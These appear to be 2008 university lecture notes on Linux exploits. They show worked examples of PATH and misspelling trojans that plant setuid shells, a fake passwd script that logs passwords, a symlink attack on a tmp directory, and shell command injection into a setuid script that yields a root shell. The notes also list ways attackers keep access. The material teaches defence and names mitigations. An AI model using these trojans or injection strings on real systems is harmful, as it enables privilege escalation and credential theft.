More Linux Exploits
Fri, Sep. 19, 2008

Paths in Linux

* Linux uses PATH variable to find executables.

```
    [lynux@localhost ~]$ echo $PATH
    /usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin:.
```

  Note: PATH variable set/changed in ~/.bash_profile, ~/.bashrc

* Linux searches PATH in order to find an executable for a relative
  (non−absolute) pathname. Can see what it finds with "which"

```
    [lynux@localhost ~]$ which passwd
    /usr/bin/passwd

    [lynux@localhost ~]$ which ls
    /bin/ls

    [lynux@localhost ~]$ which findit
    ~/bin/findit

    [lynux@localhost ~]$ which rootshell
    /usr/bin/which: no rootshell in (/usr/kerberos/bin:/usr/local/bin:/usr/bin:/
bin:.:/home/lynux/bin:.)

    [lynux@localhost ~]$ cd ~/cs342/download/setuid/

    [lynux@localhost setuid]$ which rootshell
    ./rootshell
```

* Can override PATH mechanism by giving absolute pathname

```
    [lynux@localhost ~]$ which ~/bin/passwd
    ~/bin/passwd

    [gdome@localhost setuid]$ echo $PATH
    /usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/home/gdome/bin

    [gdome@localhost setuid]$ which rootshell
    /usr/bin/which: no rootshell in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/
bin:/home/gdome/bin)

    [gdome@localhost setuid]$ which ./rootshell
    ./rootshell
```

Linux Path Attacks

* Suppose "." is at the beginning of PATH:

```
    [lynux@localhost ~]$ echo $PATH
    /usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin:.

    [lynux@localhost ~]$ export PATH=.:$PATH
    [lynux@localhost ~]$ echo $PATH
    .:/usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin:.
```

  Nefarious user gdome can trick lynux into running a trojaned ls program:

```
    ----------------------------------------
    #!/bin/bash
    # Trojaned ls program

    # Make suid shell in /tmp/up
    cp /bin/bash /tmp/foo
    chmod 4755 /tmp/foo

    # Now do what ls does
    exec ls "$@"
    ----------------------------------------

    [lynux@localhost ~]$ cd ~gdome/public_html/

    [lynux@localhost public_html]$ ls -al index.html
    -rwxrwxr-x 1 gdome gdome 34 2008-09-16 05:09 index.html

    [gdome@localhost ~]$ ls -al /tmp/foo
    -rwsr-xr-x 1 lynux lynux 735004 2008-09-19 07:47 /tmp/foo

    [gdome@localhost ~]$ /tmp/foo -p
    foo-3.2$ whoami
    lynux
```

* Can avoid the above attacks by putting "." at end of PATH or excluding it altogether.

```
    ... lynux in a new shell ...

    [lynux@localhost ~]$ echo $PATH
    /usr/kerberos/bin:/usr/local/bin:/usr/bin:/bin:.:/home/lynux/bin:.

    [lynux@localhost ~]$ cd ~gdome/public_html/

    [lynux@localhost public_html]$ which ls
    /bin/ls
```

* Even if "." at end of PATH, still subject to misspelling attacks.
  E.g., suppose ~gdome/public_html/sl contains:

```
    ----------------------------------------
    /bin/bash
    # Trojaned sl (= ls misspelled) program

    # Make suid shell in /tmp/up
    cp /bin/bash /tmp/bar
    chmod 4755 /tmp/bar

    # Now do what sl does
    echo "bash: sl: command not found"
    ----------------------------------------
```

  Then still have trouble if lynux mistypes "ls" as "sl":

```
    [lynux@localhost ~]$ cd ~gdome/public_html/

    [lynux@localhost public_html]$ sl
    bash: sl: command not found

    ... lynux does other stuff ...

    [gdome@localhost public_html]$ ls -al /tmp/bar
    -rwsr-xr-x 1 lynux lynux 735004 2008-09-19 07:22 /tmp/bar

    [gdome@localhost public_html]$ /tmp/bar -p
    bar-3.2$ whoami
    lynux
```

A Trojaned passwd program

Here’s a "trojaned" password program that could also cause trouble in a path attack. What does it do?

```
    --------------------------------------------------
    #!/bin/bash
    # This is Lyn’s simple bogus passwd program

    # If zero users specified, username is assumed to be current user
    if (($#==0))
    then
      USERNAME=‘whoami‘
    else
      USERNAME=$1
    fi

    echo "Changing password for user $USERNAME."

    echo -n "New UNIX password: "
    SAVED_STTY_MODES=‘stty -g‘  # save tty modes
    stty -echo # turn of echoing of characters
    read PASSWORD1
    stty $SAVED_STTY_MODES # restore echoing of characters
    echo "" # display a newline

    echo -n "Retype new UNIX password: "
    SAVED_STTY_MODES=‘stty -g‘  # save tty modes
    stty -echo # turn of echo
    read PASSWORD2
    stty $SAVED_STTY_MODES # restore echoing of characters
    echo "" # display a newline

    # Claim that passwords don’t match (even if they do)
    echo  "Sorry, passwords do not match"

    # Squirrel away password info
    echo username:$USERNAME password1:$PASSWORD1 password2:$PASSWORD2 >> /home/lynux/private/passwords
    --------------------------------------------------
```

A nefarious user with root access could install a more elaborate version of this in /usr/bin/passwd!

Symbolic Links in Linux

Can make "aliases" in Linux via symbolic links (ln −s <old> <new>). E.g.

```
    [lynux@localhost ~]$ ln −s ~/cs342/handouts/more−exploits.txt lecture

    [lynux@localhost ~]$ ls −al lecture
    lrwxrwxrwx 1 lynux lynux 44 2008−09−19 08:01 lecture −> /home/lynux/cs342/handouts/more−exploits.txt

    [lynux@localhost ~]$ head −n 2 lecture
    More Linux Exploits
    Fri, Sep. 19, 2008

    [lynux@localhost ~]$ cd ~/bin

    [lynux@localhost bin]$ ln −s /usr/java/jdk1.6.0_06/bin/java java1.6

    [lynux@localhost ~]$ cd ~

    [lynux@localhost ~]$ which java1.6
    ~/bin/java1.6

    [lynux@localhost ~]$ java1.6 −version
    java version "1.6.0_06"
    Java(TM) SE Runtime Environment (build 1.6.0_06−b02)
    Java HotSpot(TM) Client VM (build 10.0−b22, mixed mode, sharing)
```

Symbolic Link Attack

Could anything go wrong with the following?

```
    [lynux@localhost ~]$ cat personal.txt
    My credit card number is 1234 5678 1011 1213

    [lynux@localhost ~]$ cp personal.txt ~/tmp/saved

    ... lyunx does some other operations ...

    [lynux@localhost ~]$ cp ~/tmp/saved personal.txt

    [lynux@localhost ~]$ rm ~/tmp/saved
```

Suppose the permissions on tmp are:

```
    [lynux@localhost ~]$ ls −al tmp
    total 48
    drwxrwxr−x  2 lynux cs342stu  4096 2008−09−19 08:57 .
    drwxr−xr−x 50 lynux lynux    36864 2008−09−19 08:52 ..
```

And suppose gdome did the following *before* lynux’s operations:

```
    [gdome@localhost ~]$ touch lynsecret

    [gdome@localhost ~]$ chmod 777 lynsecret

    [gdome@localhost ~]$ cd ~lynux/tmp
    [gdome@localhost tmp]$ ln -s /home/gdome/lynsecret mystuff
```

Then gdome now knows lynux’s secret!

```
    [gdome@localhost tmp]$ cat ~/lynsecret
    My credit card number is 1234 5678 1011 1213
```

This trick can be used to access files written by root to system /tmp directory.

Code Injection Exploits

Users can sometimes take advantage of shoddy input handling to execute arbitrary code as someone else.

For example, suppose root tries to make command-line passwords available to everyone via a setuid script:

```
     # Contents of /root/newpasswd_script
     ----------------------------------------------------
     #!/bin/bash -p
     echo "Executing /root/newpasswd_script"
     system "echo $1 | /usr/bin/passwd --stdin ‘whoami‘"
     ----------------------------------------------------
```

The "system" command executes its string argument in a shell. It’s really not needed here; this example is contrived to illustrate code injection. But it useful for constructing code out of parts on the fly and executing them. Similar in this regard are "eval" and "exec".

And this code won’t really work anyway because /usr/bin/passwd only allows the --stding option for *real* UID root, not for *effective* UID root. But let’s suppose root doesn’t know this.

Next, the machinations to make this setuid:

```
     # Contents of /root/newpasswd.c
     ----------------------------------------------------
     int main (int argc, char* argv) {
       execv("/root/newpasswd_script", argv);
     }
     ----------------------------------------------------

     [root@localhost ~]# gcc -o newpasswd newpasswd.c

     [root@localhost ~]# cp newpasswd /usr/bin/newpasswd

     [root@localhost ~]# chmod 4755 /usr/bin/newpasswd
```

Now gdome tries it out:

```
    [gdome@localhost ~]$ which newpasswd
    /usr/bin/newpasswd

    [gdome@localhost ~]$ ls -al /usr/bin/newpasswd
    -rwsr-xr-x 1 root root 4832 2008-09-23 06:16 /usr/bin/newpasswd
    [gdome@localhost ~]$ newpasswd foobar
    Executing /root/newpasswd_script
    Only root can do that.
```

The underlying /usr/bin/passwd fails because real UID gdome != root.
But gdome can still do sneaky things!

```
    [gdome@localhost ~]$ newpasswd "foo; echo bar; echo baz"
    Executing /root/newpasswd_script
    foo
    bar
    Only root can do that.

    [gdome@localhost ~]$ newpasswd "foo; cp /bin/bash ~gdome/mine; chmod 4755 ~g
dome/mine; echo bar"
    Executing /root/newpasswd_script
    foo
    Only root can do that.

    [gdome@localhost ~]$ ls -al mine
    -rwsr-xr-x 1 root gdome 735004 2008-09-23 06:04 mine

    [gdome@localhost ~]$ ./mine -p
    mine-3.2# whoami
    root
```

* Code injection is possible in many systems, including databases.
  E.g., xkcd's "Exploits of a Mom": http://xkcd.com/327/

* Can prevent code injection attacks by (1) not executing user input
  or (2) if you must, validate/sanitize user input before executing it.

Maintaining Access

Once a hacker has rooted your machine, what can they do to maintain
access for the future?

* Leave behind rootshells

* Trojaned system programs. E.g.:
  + change passwd to record passwords and send them to attacker.
  + make more/cat setuid/setgid to allow reading of any file.
  + change safe program to be vulnerable to a code indjection attack,
       buffer overflow attack, etc.
  + install keystroke logger
  + many such trojaned binaries often bundled in rootkits that hide
      their existence by changing basic commands like ls, ps.

* Change system configuration files, E.g.,
  + hosts.allow & hosts.deny: control which clients are allowed
      to connect to a machine.
  + httpd.conf: configures HTTP server, including various security settings.

* See more in Hacking Linux Exposed, Chapter 10.